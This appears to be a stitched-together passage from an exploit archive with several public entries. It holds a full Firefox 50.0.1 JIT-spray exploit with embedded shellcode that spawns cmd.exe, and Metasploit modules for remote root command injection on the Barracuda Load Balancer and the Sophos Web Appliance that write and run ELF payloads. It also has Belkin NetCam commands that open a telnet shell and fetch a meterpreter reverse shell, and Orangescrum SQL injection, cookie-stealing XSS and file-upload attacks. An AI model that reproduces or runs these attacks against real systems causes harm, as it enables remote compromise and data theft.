05 002cf154 774ba692 035d6124 6c010413 0000001a USP10!UpdateCache+0xb0
06 002cf168 774c15fd 6c010413 035d6000 774c16ab USP10!ScriptCheckCache+0x62
07 002cf174 774c16ab 00000001 00000001 00000000 USP10!GetShapeFunction+0xd
08 002cf1ac 774c2bd4 00000001 00000002 002cf22c USP10!RenderItemNoFallback+0x5b
09 002cf1d8 774c2e62 00000001 00000002 002cf22c USP10!RenderItemWithFallback+0x104
0a 002cf1fc 774c43f9 00000002 002cf22c 035d6124 USP10!RenderItem+0x22
0b 002cf240 774b7a04 000004a0 00000400 6c010413 USP10!ScriptStringAnalyzeGlyphs+0x1e9
0c 002cf258 760a1736 6c010413 035d6040 0000000a USP10!ScriptStringAnalyse+0x284
0d 002cf2a4 760a18c1 6c010413 002cf728 0000000a LPK!LpkStringAnalyse+0xe5
0e 002cf3a0 760a17b4 6c010413 00000000 00000000 LPK!LpkCharsetDraw+0x332
0f 002cf3d4 77df56a9 6c010413 00000000 00000000 LPK!LpkDrawTextEx+0x40
10 002cf414 77df5a64 6c010413 00000070 00000000 USER32!DT_DrawStr+0x13c
11 002cf460 77df580f 6c010413 002cf728 002cf73c USER32!DT_GetLineBreak+0x78
12 002cf50c 77df5882 6c010413 00000000 0000000a USER32!DrawTextExWorker+0x250
13 002cf530 77df5b68 6c010413 002cf728 ffffffff USER32!DrawTextExW+0x1e
[...]
---

The issue reproduces on Windows 7, and could be potentially used to disclose sensitive data from the process heap. It is easiest to reproduce with PageHeap enabled, but it is also possible to observe a crash in a default system configuration. In order to reproduce the problem with the provided samples, it might be necessary to use a custom program which displays all of the font's glyphs at various point sizes.

Attached is a proof of concept malformed font file which triggers the crash.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42237.zip
            
<!DOCTYPE HTML>

<!--

    FULL ASLR AND DEP BYPASS USING ASM.JS JIT SPRAY (CVE-2017-5375)
    PoC Exploit against Firefox 50.0.1 (CVE-2016-9079 - Tor Browser 0day)

    Tested on:

    Release 50.0.1 32-bit - Windows 8.1 / Windows 10
    https://ftp.mozilla.org/pub/firefox/releases/50.0.1/win32/en-US/Firefox%20Setup%2050.0.1.exe

    Howto:

    1) serve PoC over network and open it in Firefox 50.0.1 32-bit
    2) if you don't see cmd.exe, open processexplorer and verify that cmd.exe was spawned by firefox.exe

    A successfull exploit attempt should pop cmd.exe

    Writeup: https://rh0dev.github.io/blog/2017/the-return-of-the-jit/
    
    (C) Rh0

    Jul. 13, 2017

-->

<script async>
function asm_js_module(){
    "use asm";
    /* huge jitted nop sled */
    function payload_code(){
        var val = 0;
        val = (val + 0xa8909090)|0;
        val = (val + 0xa8909090)|0;
        val = (val + 0xa8909090)|0;
        val = (val + 0xa8909090)|0;
        val = (val + 0xa8909090)|0;
        val = (val + 0xa8909090)|0;
        val = (val + 0xa8909090)|0;
        val = (val + 0xa8909090)|0;
        val = (val + 0xa8909090)|0;
        val = (val + 0xa8909090)|0;
        val = (val + 0xa8909090)|0;
        val = (val + 0xa8909090)|0;
        val = (val + 0xa8909090)|0;
        val = (val + 0xa8909090)|0;
        val = (val + 0xa8909090)|0;
        val = (val + 0xa8909090)|0;
        val = (val + 0xa8909090)|0;
        val = (val + 0xa8909090)|0;
        val = (val + 0xa8909090)|0;
        val = (val + 0xa8909090)|0;
        val = (val + 0xa8909090)|0;
        val = (val + 0xa8909090)|0;
        val = (val + 0xa8909090)|0;
        val = (val + 0xa8909090)|0;
        val = (val + 0xa8909090)|0;
        val = (val + 0xa8909090)|0;
        val = (val + 0xa8909090)|0;
        val = (val + 0xa8909090)|0;
        val = (val + 0xa8909090)|0;
        val = (val + 0xa8909090)|0;
        val = (val + 0xa8909090)|0;
        val = (val + 0xa8909090)|0;
        val = (val + 0xa8909090)|0;
        val = (val + 0xa8909090)|0;
        val = (val + 0xa8909090)|0;
        val = (val + 0xa8909090)|0;
        val = (val + 0xa8909090)|0;
        val = (val + 0xa8909090)|0;
        val = (val + 0xa8909090)|0;
        val = (val + 0xa8909090)|0;
        /* 3 byte VirtualAlloc RWX stager */
        val = (val + 0xa890db31)|0;
        val = (val + 0xa89030b3)|0;
        val = (val + 0xa81b8b64)|0;
        val = (val + 0xa80c5b8b)|0;
        val = (val + 0xa81c5b8b)|0;
        val = (val + 0xa8b9006a)|0;
        val = (val + 0xa8904c4c)|0;
        val = (val + 0xa8902eb1)|0;
        val = (val + 0xa85144b5)|0;
        val = (val + 0xa8b99090)|0;
        val = (val + 0xa8903233)|0;
        val = (val + 0xa89045b1)|0;
        val = (val + 0xa8514cb5)|0;
        val = (val + 0xa8b99090)|0;
        val = (val + 0xa8904e52)|0;
        val = (val + 0xa8904bb1)|0;
        val = (val + 0xa85145b5)|0;
        val = (val + 0xa8590e6a)|0;
        val = (val + 0xa84fe789)|0;
        val = (val + 0xa8086b8b)|0;
        val = (val + 0xa820738b)|0;
        val = (val + 0xa8471b8b)|0;
        val = (val + 0xa82ae349)|0;
        val = (val + 0xa890c031)|0;
        val = (val + 0xa890ad66)|0;
        val = (val + 0xa89c613c)|0;
        val = (val + 0xa8077c9d)|0;
        val = (val + 0xa890202c)|0;
        val = (val + 0xa89c073a)|0;
        val = (val + 0xa8d7749d)|0;
        val = (val + 0xa890bdeb)|0;
        val = (val + 0xa8b9006a)|0;
        val = (val + 0xa890636f)|0;
        val = (val + 0xa8906cb1)|0;
        val = (val + 0xa8516cb5)|0;
        val = (val + 0xa8b99090)|0;
        val = (val + 0xa890416c)|0;
        val = (val + 0xa89075b1)|0;
        val = (val + 0xa85161b5)|0;
        val = (val + 0xa8b99090)|0;
        val = (val + 0xa8907472)|0;
        val = (val + 0xa89056b1)|0;
        val = (val + 0xa85169b5)|0;
        val = (val + 0xa890eb89)|0;
        val = (val + 0xa83cc583)|0;
        val = (val + 0xa8006d8b)|0;
        val = (val + 0xa890dd01)|0;
        val = (val + 0xa878c583)|0;
        val = (val + 0xa8006d8b)|0;
        val = (val + 0xa890dd01)|0;
        val = (val + 0xa820458b)|0;
        val = (val + 0xa890d801)|0;
        val = (val + 0xa890d231)|0;
        val = (val + 0xa890e789)|0;
        val = (val + 0xa8590d6a)|0;
        val = (val + 0xa810348b)|0;
        val = (val + 0xa890de01)|0;
        val = (val + 0xa890a6f3)|0;
        val = (val + 0xa8900de3)|0;
        val = (val + 0xa804c283)|0;
        val = (val + 0xa890dbeb)|0;
        val = (val + 0xa8247d8b)|0;
        val = (val + 0xa890df01)|0;
        val = (val + 0xa890ead1)|0;
        val = (val + 0xa890d701)|0;
        val = (val + 0xa890d231)|0;
        val = (val + 0xa8178b66)|0;
        val = (val + 0xa81c7d8b)|0;
        val = (val + 0xa890df01)|0;
        val = (val + 0xa802e2c1)|0;
        val = (val + 0xa890d701)|0;
        val = (val + 0xa8903f8b)|0;
        val = (val + 0xa890df01)|0;
        val = (val + 0xa890406a)|0;
        val = (val + 0xa890c031)|0;
        val = (val + 0xa85030b4)|0;
        val = (val + 0xa85010b4)|0;
        val = (val + 0xa890006a)|0;
        val = (val + 0xa890d7ff)|0;
        val = (val + 0xa890c931)|0;
        val = (val + 0xa89000b5)|0;
        val = (val + 0xa890c3b1)|0;
        val = (val + 0xa890ebd9)|0;
        val = (val + 0xa82434d9)|0;
        val = (val + 0xa890e689)|0;
        val = (val + 0xa80cc683)|0;
        val = (val + 0xa890368b)|0;
        val = (val + 0xa85fc683)|0;
        val = (val + 0xa890c789)|0;
        val = (val + 0xa81e8b66)|0;
        val = (val + 0xa81f8966)|0;
        val = (val + 0xa802c683)|0;
        val = (val + 0xa802c783)|0;
        val = (val + 0xa8901e8a)|0;
        val = (val + 0xa8901f88)|0;
        val = (val + 0xa803c683)|0;
        val = (val + 0xa801c783)|0;
        val = (val + 0xa803e983)|0;
        val = (val + 0xa89008e3)|0;
        val = (val + 0xa890cceb)|0;
        val = (val + 0xa890e0ff)|0;
        val = (val + 0xa824248d)|0;
        /* $ msfvenom --payload windows/exec CMD=cmd.exe EXITFUNC=seh */
        val = (val + 0xa882e8fc)|0;
        val = (val + 0xa8000000)|0;
        val = (val + 0xa8e58960)|0;
        val = (val + 0xa864c031)|0;
        val = (val + 0xa830508b)|0;
        val = (val + 0xa80c528b)|0;
        val = (val + 0xa814528b)|0;
        val = (val + 0xa828728b)|0;
        val = (val + 0xa84ab70f)|0;
        val = (val + 0xa8ff3126)|0;
        val = (val + 0xa8613cac)|0;
        val = (val + 0xa82c027c)|0;
        val = (val + 0xa8cfc120)|0;
        val = (val + 0xa8c7010d)|0;
        val = (val + 0xa852f2e2)|0;
        val = (val + 0xa8528b57)|0;
        val = (val + 0xa84a8b10)|0;
        val = (val + 0xa84c8b3c)|0;
        val = (val + 0xa8e37811)|0;
        val = (val + 0xa8d10148)|0;
        val = (val + 0xa8598b51)|0;
        val = (val + 0xa8d30120)|0;
        val = (val + 0xa818498b)|0;
        val = (val + 0xa8493ae3)|0;
        val = (val + 0xa88b348b)|0;
        val = (val + 0xa831d601)|0;
        val = (val + 0xa8c1acff)|0;
        val = (val + 0xa8010dcf)|0;
        val = (val + 0xa8e038c7)|0;
        val = (val + 0xa803f675)|0;
        val = (val + 0xa83bf87d)|0;
        val = (val + 0xa875247d)|0;
        val = (val + 0xa88b58e4)|0;
        val = (val + 0xa8012458)|0;
        val = (val + 0xa88b66d3)|0;
        val = (val + 0xa88b4b0c)|0;
        val = (val + 0xa8011c58)|0;
        val = (val + 0xa8048bd3)|0;
        val = (val + 0xa8d0018b)|0;
        val = (val + 0xa8244489)|0;
        val = (val + 0xa85b5b24)|0;
        val = (val + 0xa85a5961)|0;
        val = (val + 0xa8e0ff51)|0;
        val = (val + 0xa85a5f5f)|0;
        val = (val + 0xa8eb128b)|0;
        val = (val + 0xa86a5d8d)|0;
        val = (val + 0xa8858d01)|0;
        val = (val + 0xa80000b2)|0;
        val = (val + 0xa8685000)|0;
        val = (val + 0xa86f8b31)|0;
        val = (val + 0xa8d5ff87)|0;
        val = (val + 0xa80efebb)|0;
        val = (val + 0xa868ea32)|0;
        val = (val + 0xa8bd95a6)|0;
        val = (val + 0xa8d5ff9d)|0;
        val = (val + 0xa87c063c)|0;
        val = (val + 0xa8fb800a)|0;
        val = (val + 0xa80575e0)|0;
        val = (val + 0xa81347bb)|0;
        val = (val + 0xa86a6f72)|0;
        val = (val + 0xa8ff5300)|0;
        val = (val + 0xa86d63d5)|0;
        val = (val + 0xa8652e64)|0;
        val = (val + 0xa8006578)|0;
        val = (val + 0xa8909090)|0;

        return val|0;
    }
    return payload_code 
}
</script>

<script>
function spray_asm_js_modules(){
    sprayed = []
    for (var i=0; i<= 0x1800; i++){
        sprayed[i] = asm_js_module()
    }
}

/* heap spray inspired by skylined */
function heap_spray_fake_objects(){
    var heap = []
    var current_address = 0x08000000
    var block_size = 0x1000000
    while(current_address < object_target_address){
        var heap_block = new Uint32Array(block_size/4 - 0x100)
        for (var offset = 0; offset < block_size; offset += 0x100000){

            /* fake object target = ecx + 0x88 and fake vtable*/
            heap_block[offset/4 + 0x00/4] = object_target_address
            /* self + 4 */
            heap_block[offset/4 + 0x14/4] = object_target_address
            /* the path to EIP */
            heap_block[offset/4 + 0x18/4] = 4
            heap_block[offset/4 + 0xac/4] = 1
            /* fake virtual function --> JIT target */
            heap_block[offset/4 + 0x138/4] = jit_payload_target 
        }
        heap.push(heap_block)
        current_address += block_size
    }
    return heap
}

/* address of fake object */
object_target_address = 0x30300000

/* address of our jitted shellcode */
jit_payload_target = 0x1c1c0054

/* ASM.JS JIT Spray */
spray_asm_js_modules()

/* Spray fake objects */
heap = heap_spray_fake_objects()

/* -----> */
/* bug trigger ripped from bugzilla report */
var worker = new Worker('data:javascript,self.onmessage=function(msg){postMessage("one");postMessage("two");};');
worker.postMessage("zero");
var svgns = 'http://www.w3.org/2000/svg';
var heap80 = new Array(0x1000);
var heap100 = new Array(0x4000);
var block80 = new ArrayBuffer(0x80);
var block100 = new ArrayBuffer(0x100);
var sprayBase = undefined;
var arrBase = undefined;
var animateX = undefined;
var containerA = undefined;
var offset = 0x88 // Firefox 50.0.1

var exploit = function(){
    var u32 = new Uint32Array(block80)

    u32[0x4] = arrBase - offset;
    u32[0xa] = arrBase - offset;
    u32[0x10] = arrBase - offset;

    for(i = heap100.length/2; i < heap100.length; i++)
    {
      heap100[i] = block100.slice(0)
    }

    for(i = 0; i < heap80.length/2; i++)
    {
      heap80[i] = block80.slice(0)
    }

    animateX.setAttribute('begin', '59s')
    animateX.setAttribute('begin', '58s')

    for(i = heap80.length/2; i < heap80.length; i++)
    {
      heap80[i] = block80.slice(0)
    }

    for(i = heap100.length/2; i < heap100.length; i++)
    {
      heap100[i] = block100.slice(0)
    }

    animateX.setAttribute('begin', '10s')
    animateX.setAttribute('begin', '9s')
    containerA.pauseAnimations();
}

worker.onmessage = function(e) {arrBase=object_target_address; exploit()}
//worker.onmessage = function(e) {arrBase=0x30300000; exploit()}

var trigger = function(){
    containerA = document.createElementNS(svgns, 'svg')
    var containerB = document.createElementNS(svgns, 'svg');
    animateX = document.createElementNS(svgns, 'animate')
    var animateA = document.createElementNS(svgns, 'animate')
    var animateB = document.createElementNS(svgns, 'animate')
    var animateC = document.createElementNS(svgns, 'animate')
    var idA = "ia";
    var idC = "ic";
    animateA.setAttribute('id', idA);
    animateA.setAttribute('end', '50s');
    animateB.setAttribute('begin', '60s');
    animateB.setAttribute('end', idC + '.end');
    animateC.setAttribute('id', idC);
    animateC.setAttribute('end', idA + '.end');
    containerA.appendChild(animateX)
    containerA.appendChild(animateA)
    containerA.appendChild(animateB)
    containerB.appendChild(animateC)
    document.body.appendChild(containerA);
    document.body.appendChild(containerB);
}

window.onload = trigger;
setInterval("window.location.reload()", 3000)
/* <----- */

</script>
            
# Exploit Title: Barracuda Load Balancer Firmware <= v6.0.1.006 (2016-08-19) PostAuth remote root exploit
#
# Date: 01/06/2017 (Originally discovered: 3/16)
# Exploit Author: xort
# Software Link: https://www.barracuda.com/products/loadbalancer
# Version: Firmware <=  v6.0.1.006 (2016-08-19)
# Tested on: 6.0.1.006 (2016-08-19)
#            6.0.0.005 (2016-03-22) - checked:4/8/16
#	     5.4.0.004 (2015-11-26) - checked:3/16
#
# Not Vuln:  6.1.0.003 (2017-01-17)
# CVE : CVE-2017-6320
#
# vuln: ondefined_delete_assessment trigger exploit
#
# Postauth remote root in Barracuda Load Balancer Firmware <=  v6.0.1.006 for any under priviledged user with report generating
# capablities. This exploit leverages a command injection bug along with poor sudo permissions to obtain
# root.
#
# xort @ Critical Start

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking
	include  Exploit::Remote::Tcp
        include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Barracuda Load Balancer Firmware <=  v6.0.1.006 delete_assessment root exploit',
					'Description'    => %q{
					This module exploits a remote command execution vulnerability in
				the Barracuda Load Balancer Firmware Version <=  v6.0.1.006 (2016-08-19) by exploiting a
				vulnerability in the web administration interface.
					By sending a specially crafted request it's possible to inject system
				 commands while escalating to root do to relaxed sudo configuration on the local 
				machine.
			},
			'Author'         =>
				[
					'xort', # vuln + metasploit module
				],
			'Version'        => '$Revision: 2 $',
			'References'     =>
				[
					[ 'none', 'none'],
				],
			'Platform'      => [ 'linux'],
			'Privileged'     => true,
			 'Arch'          => [ ARCH_X86 ],
                        'SessionTypes'  => [ 'shell' ],
                        'Privileged'     => false,

		        'Payload'        =>
                                { 
                                  'Compat' =>
                                  {
                                        'ConnectionType' => 'find',
                                  }
                                },

			'Targets'        =>
				[
					['Linux Universal',
						{
								'Arch' => ARCH_X86,
								'Platform' => 'linux'
						}
					],
				],
			'DefaultTarget' => 0))

			register_options(
				[
					OptString.new('PASSWORD', [ false, 'Device password', "" ]),	
					OptString.new('ET', [ false, 'Device password', "" ]),
			         	OptString.new('USERNAME', [ true, 'Device password', "admin" ]),	
					OptString.new('CMD', [ false, 'Command to execute', "" ]),	
					Opt::RPORT(8000),
				], self.class)
	end

        def do_login(username, password_clear, et)
                vprint_status( "Logging into machine with credentials...\n" )

                # vars
                timeout = 1550;
                enc_key = Rex::Text.rand_text_hex(32)

                # send request  
                res = send_request_cgi(
                {
                      'method'  => 'POST',
                      'uri'     => "/cgi-mod/index.cgi",
		      'headers' => 
			{
				'Accept' => "application/json, text/javascript, */*; q=0.01",
				'Content-Type' => "application/x-www-form-urlencoded",
				'X-Requested-With' => "XMLHttpRequest"
			},
                      'vars_post' =>
                        {

                          'enc_key' => enc_key,
                          'et' => et,
                          'user' => "admin", # username,
                          'password' => "admin", # password_clear,
                          'enctype' => "none",
                          'password_entry' => "",
			  'login_page' => "1",
                          'login_state' => "out",
                          'real_user' => "",
                          'locale' => "en_US",
                          'form' => "f",
                          'Submit' => "Sign in",
                        }
                }, timeout)

                # get rid of first yank 
                password = res.body.split('\n').grep(/(.*)password=([^&]+)&/){$2}[0] #change to match below for more exact result
                et = res.body.split('\n').grep(/(.*)et=([^&]+)&/){$2}[0]

                return password, et
        end

	def run_command(username, password, et, cmd)
		vprint_status( "Running Command...\n" )

 		# file to replace
                #sudo_cmd_exec = "/home/product/code/firmware/current/bin/config_agent_wrapper.pl"
                sudo_cmd_exec = "/home/product/code/firmware/current/bin/rdpd"

                sudo_run_cmd_1 = "sudo /bin/cp /bin/sh #{sudo_cmd_exec} ; sudo /bin/chmod +x #{sudo_cmd_exec}"
                sudo_run_cmd_2 = "sudo #{sudo_cmd_exec} -c "

                # random filename to dump too + 'tmp' HAS to be here.
                b64dumpfile = "/tmp/" + rand_text_alphanumeric(4+rand(4))

		vprint_status(" file = " + b64dumpfile)

                # decoder stubs - tells 'base64' command to decode and dump data to temp file
                b64decode1 = "echo \""
                b64decode2 = "\" | base64 -d >" + b64dumpfile

                # base64 - encode with base64 so we can send special chars and multiple lines
                cmd = Base64.strict_encode64(cmd)

                # Create injection string.
                #      a) package the  base64 decoder with encoded bytes
                #      b) attach a chmod +x request to make the script created (b64dumpfile) executable
                #      c) execute decoded base64 dumpfile

                injection_string = b64decode1 + cmd + b64decode2 + "; /bin/chmod +x " + b64dumpfile + "; " + sudo_run_cmd_1 + "; " + sudo_run_cmd_2 + b64dumpfile # + " ; rm " + b64dumpfile

	 	exploitreq = [
		[ "auth_type","Local" ],
		[ "et",et ],
		[ "locale","en_US" ],
		[ "password", password  ],
		[ "primary_tab", "ADVANCE" ],
		[ "realm","" ],
		[ "secondary_tab","advanced_system" ],
		[ "user", username ],
		[ "timestamp", Time.now.to_i ],

		[ "UPDATE_scan_information_in_use", "xx; #{injection_string}" ], # vuln
		[ "delete_assessment",  Rex::Text.rand_text_numeric(20) ]
		]
		
		boundary = "---------------------------" + Rex::Text.rand_text_numeric(34)

		post_data = ""
	
		exploitreq.each do |xreq|
		    post_data << "--#{boundary}\r\n"
		    post_data << "Content-Disposition: form-data; name=\"#{xreq[0]}\"\r\n\r\n"
		    post_data << "#{xreq[1]}\r\n"
		end
	    	post_data << "--#{boundary}--\r\n"

	        res = send_request_cgi({
         	   'method' => 'POST',
	           'uri'    => "/cgi-mod/index.cgi",
       		   'ctype'  => "multipart/form-data; boundary=#{boundary}",
            	   'data'   => post_data,
		   'headers' => 
			{
				'UserAgent' => "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:18.0) Gecko/20100101 Firefox/18.0",
			}
	        })	
	end

	def run_script(username, password, et, cmds)
	  	vprint_status( "running script...\n")
	  
	  
	end
	
	def exploit
		# timeout
		timeout = 1550;

		user = "admin"
		
		# params
                real_user = "";
		login_state = "out"
		et = Time.now.to_i
		locale = "en_US"
		user = "admin"
		password = "admin"
		enctype = "MD5"
		password_entry = ""
		password_clear = "admin"
		
		password_hash, et = do_login(user, password_clear, et)
		vprint_status("new password: #{password_hash} et: #{et}\n")

		sleep(5)


		 #if no 'CMD' string - add code for root shell
                if not datastore['CMD'].nil? and not datastore['CMD'].empty?

                        cmd = datastore['CMD']

                        # Encode cmd payload
                        encoded_cmd = cmd.unpack("H*").join().gsub(/(\w)(\w)/,'\\x\1\2')

                        # kill stale calls to bdump from previous exploit calls for re-use
                        run_command(user, password_hash, et, ("sudo /bin/rm -f /tmp/n ;printf \"#{encoded_cmd}\" > /tmp/n; chmod +rx /tmp/n ; /tmp/n" ))
                else
                        # Encode payload to ELF file for deployment
                        elf = Msf::Util::EXE.to_linux_x86_elf(framework, payload.raw)
                        encoded_elf = elf.unpack("H*").join().gsub(/(\w)(\w)/,'\\x\1\2')

                        # kill stale calls to bdump from previous exploit calls for re-use
#                        run_command(user, password_hash, et, ("sudo /bin/rm -f /tmp/m ;printf \"#{encoded_elf}\" > /tmp/m; chmod +rx /tmp/m ; /tmp/m" ))

                        run_command(user, password_hash, et, ("printf \"#{encoded_elf}\" > /tmp/m; chmod +rx /tmp/m ; /tmp/m" ))
                        handler
                end


	end

end
            
# Exploit Title: Sophos Web Appliance reporting JSON trafficType Remote Command Injection Vulnerablity 
# Date: 01/28/2017
# Exploit Author: xort @ Critical Start
# Vendor Homepage: www.sophos.com
# Software Link: sophos.com/en-us/products/secure-web-gateway.aspx
# Version: 4.3.0.2
# Tested on: 4.3.0.2
#            
# CVE : (awaiting cve) 

# vuln:  report command / trafficType JSON parameter /  ???.php exploit

# Description PostAuth Sophos Web App FW <= v4.3.0.2 for capablities. This exploit leverages a command injection bug. 
#
# xort @ Critical Start

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
	Rank = ExcellentRanking
	include  Exploit::Remote::Tcp
        include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Sophos Web Appliace <= v4.3.0.2 JSON reporting remote exploit',
					'Description'    => %q{
					This module exploits a remote command execution vulnerability in
				the Sophos Web Appliace Version <=  v4.3.0.2. The vulnerability exist in
				a section of the machine's reporting inferaface that accepts unsanitized 
				unser supplied information within a JSON query. 
			},
			'Author'         =>
				[
					'xort@Critical Start', # vuln + metasploit module
				],
			'Version'        => '$Revision: 1 $',
			'References'     =>
				[
					[ 'none', 'none'],
				],
			'Platform'      => [ 'linux'],
			'Privileged'     => true,
			 'Arch'          => [ ARCH_X86 ],
                        'SessionTypes'  => [ 'shell' ],
		        'Payload'        =>
                                { 
                                  'Compat' =>
                                  {
                                        'ConnectionType' => 'find',
                                  }
                                },

			'Targets'        =>
				[
					['Linux Universal',
						{
								'Arch' => ARCH_X86,
								'Platform' => 'linux'
						}
					],
				],
			'DefaultTarget' => 0))

			register_options(
				[
					OptString.new('PASSWORD', [ false, 'Device password', "" ]),	
			         	OptString.new('USERNAME', [ true, 'Device password', "admin" ]),	
					OptString.new('CMD', [ false, 'Command to execute', "" ]),	
					Opt::RPORT(443),
				], self.class)
	end

        def do_login(username, password_clear)
                vprint_status( "Logging into machine with credentials...\n" )

                # vars
                timeout = 1550;
                style_key = Rex::Text.rand_text_hex(32)

                # send request  
                res = send_request_cgi(
                {
                      'method'  => 'POST',
                      'uri'     => "/index.php",
                      'vars_get' => {
			   'c' => 'login',
			},
                      'vars_post' =>
                        {

       			  'STYLE' => style_key,
 			  'destination' => '',
			  'section' => '',
			  'username' => username,
			  'password' => password_clear
                        },
	              'headers' => {
                          'Connection' => 'close',
                      }

                }, timeout)

                return style_key
        end

	def run_command(username, style_password, cmd)

		vprint_status( "Running Command...\n" )

		# send request with payload	
		res = send_request_cgi({
			'method' => 'POST',
                        'uri'     => "/index.php",
			'vars_post' => {
				'chart' => 'pie',
				'period' => 'custom',
				'multiplier' => '1',
				'metric' => '',
				'token' => '0.3156784180233425',
				'start' => '1/27/2017',
				'end' => '1/27/2017',
				'filters' => '{"topn": "25", "trafficType": "out|'+cmd+'&", "department": "sophos_swa_all_departments"}',	
				'pdf' => '1',
				'test' => '',	
				'STYLE' => style_password ,
				},
			'vars_get' => {
				'c' => 'report',
				'name' => 'traf_users',
				'STYLE' => style_password ,
			},
		})

	end

	
	def exploit
		# timeout
		timeout = 1550;

		# params
		password_clear = datastore['PASSWORD']
		user = datastore['USERNAME']

		# do authentication		
		style_hash = do_login(user, password_clear)
	
		vprint_status("STATUS hash authenticated: #{style_hash}\n")
			
		# pause to let things run smoothly
		sleep(2)

		 #if no 'CMD' string - add code for root shell
                if not datastore['CMD'].nil? and not datastore['CMD'].empty?

                        cmd = datastore['CMD']

                        # Encode cmd payload

                        encoded_cmd = cmd.unpack("H*").join().gsub(/(\w)(\w)/,'\\\\\\\\\\\\\x\1\2')

			# upload elf to /tmp/n , chmod +rx /tmp/n , then run /tmp/n (payload)
                        run_command(user, style_hash, ("echo -e #{encoded_cmd}>/tmp/n;chmod +rx /tmp/n;/tmp/n" ))
                else
                        # Encode payload to ELF file for deployment
                        elf = Msf::Util::EXE.to_linux_x86_elf(framework, payload.raw)
                        encoded_elf = elf.unpack("H*").join().gsub(/(\w)(\w)/,'\\\\\\\\\\\\\x\1\2')

			# upload elf to /tmp/m , chmod +rx /tmp/m , then run /tmp/m (payload)
                        run_command(user, style_hash, ("(echo -e #{encoded_elf}>/tmp/m;chmod +rx /tmp/m;/tmp/m)"))

			# wait for magic
                        handler
			
                end


	end
end
            
# Exploit Title: Belkin NetCam F7D7601 | Remote Command Execution
# Date: 17/07/17
# Exploit Author: Wadeek
# Vendor Homepage: http://www.belkin.com/
# Tested on: Belkin NetCam F7D7601 (WeMo_NetCam_WW_2.00.10684.PVT)
================================================
##
UnsetupMode == [0]
Hard-coded password admin:admin - SetupMode == [1]
##
================================================
##
[1] BusyBox version & Linux version & gcc version >> GET http://[IP]:80/goform/syslog
[1] System version >> GET http://[IP]:80/goform/getSystemSettings?systemModel&systemVersion&brandName&longBrandName
[1] Camera snapshot >> GET http://[IP]:80/goform/snapshot
[1] Camera streaming >> GET http://[IP]:80/goform/video
[101] Disclosure username and password on netcam.belkin.com >> GET http://[IP]:80/goform/apcamMode
[101] Disclosure wifi password >> GET http://[IP]:80/apcam/for-android/aplist.asp
[0] Firmware version >> GET http://[IP]:[49150..49159]/setup.xml
##
================================================
#||
================================================
[0] Network Fingerprinting
##
80/tcp open http
HTTP/1.1 404 Site or Page Not Found
Server: Camera Web Server
<title>Document Error: Site or Page Not Found</title>
<h2>Access Error: Site or Page Not Found</h2>
<p>Page Not Found</p>
&&
[49150..49159]/tcp open UPnP
HTTP/0.0 400 Bad Request
SERVER: Unspecified, UPnP/1.0, Unspecified
<h1>400 Bad Request</h1>
##
================================================
#||
================================================
[1] Wireless Fingerprinting
##
ESSID:"NetCamXXXX"
Encryption key:off
Address: C0:56:27
##
[1] Network Fingerprinting
##
80/tcp open http
HTTP/1.1 401 Unauthorized
Server: Camera Web Server
WWW-Authenticate: Basic realm="Camera Web Server"
<title>Document Error: Unauthorized</title>
<h2>Access Error: Unauthorized</h2>
<p>Access to this document requires a User ID</p>
##
[1] Remote Command Execution
/!/ !/
:~$ curl 'http://[IP]/goform/SystemCommand?command=telnetd%20-l%20/bin/sh' -H 'Authorization: Basic YWRtaW46YWRtaW4='
:~$ telnet [IP] 23
upload by FTP # ftpput -v -u [USERNAME] -p [PASSWORD] -P [PORT] [IP] [REMOTE-FILENAME] [LOCAL-FILENAME]
upload by TFTP # tftp -p -r [LOCAL-FILENAME] [IP] [PORT]
download by TFTP # tftp -g -r [REMOTE-FILENAME_ELF_32-bit_LSB_executable_MIPS || linux/mipsle/meterpreter/reverse_tcp] [IP] [PORT]
/!/ !/
================================================
            
# Exploit Title: [Orangescrum 1.6.1 Multiple Vulnerabilities]
# Google Dork: [NA]
# Date: [July 9 2017]
# Exploit Author: [tomplixsee@yahoo.co.id]
# Author blog : [cupuzone.wordpress.com]
# Vendor Homepage: [https://www.orangescrum.org/]
# Software Link: [https://www.orangescrum.org/free-download]
# Version: [1.6.1] 
# Tested on: [Ubuntu 16.04]
# CVE : [NA]

Orangescrum is one of task management software written in PHP. 

Its version 1.6.1 have multiple vulnerabilities. To exploit all of them, you have to log in first.

1. Arbitrary File Upload
Create or reply task. Then upload a file. The file will be uploaded into directory app/webroot/files/case_files, without any validation.
It then can be accessed from url http://yourorangescrum/app/webroot/files/case_files/thefile

2. SQL Injection (time based)
Send a POST request to http://yourorangescrum/easycases/ajax_change_AssignTo  , with POST variables caseId and assignId.
For example in python:
url = "http://yourorangescrum/easycases/ajax_change_AssignTo"
data = {"caseId":"1' AND SLEEP(5) AND 1='1","assignId":"1"}
headers = {
		'Content-type': 'application/x-www-form-urlencoded; charset=UTF-8',
		'Accept': 'application/json, text/javascript, */*; q=0.01',
		'Cookie': yourcookie
}

3. XSS (stored)
Reply a task (choose html editor). Put your XSS code there. example <img src="nonexistimage" onerror="alert(document.cookie)">

4. Arbitrary File Copy
Look at an image profile url, it is something like this http://localhost/orangescrum/users/image_thumb/?type=photos&file=a6ebd6bd62ba537f37b7b8ac40aa626d.png&sizex=94&sizey=94&quality=100
To copy add variable dest, so it will be like this http://localhost/orangescrum/users/image_thumb/?type=photos&file=a6ebd6bd62ba537f37b7b8ac40aa626d.png&sizex=94&sizey=94&quality=100&dest=hacked.php
It will copy file a6ebd6bd62ba537f37b7b8ac40aa626d.png into hacked.php that will be stored in users/image_thumb/hacked.php
Conditions : 
- variable sizex and sizey must be the real width and height of file a6ebd6bd62ba537f37b7b8ac40aa626d.png (in this example)
            
#######################################################
## WDTV Live SMP Remote Password Reset Vulnerability ##
#######################################################

Date: Jul 14 2017
Author: sw1tch
Demo: https://www.sw1tch.net/2017/07/12/wdtv-live-smb-exploit/
Description: A simple remotely exploitable web application vulnerability
for the WDTV Live Streaming Media Player and possibly other WDTV systems.

-INTRO-

The WDTV Live SMP is a is a consumer device produced by Western Digital
that plays videos, images, and music from USB drives. It can play
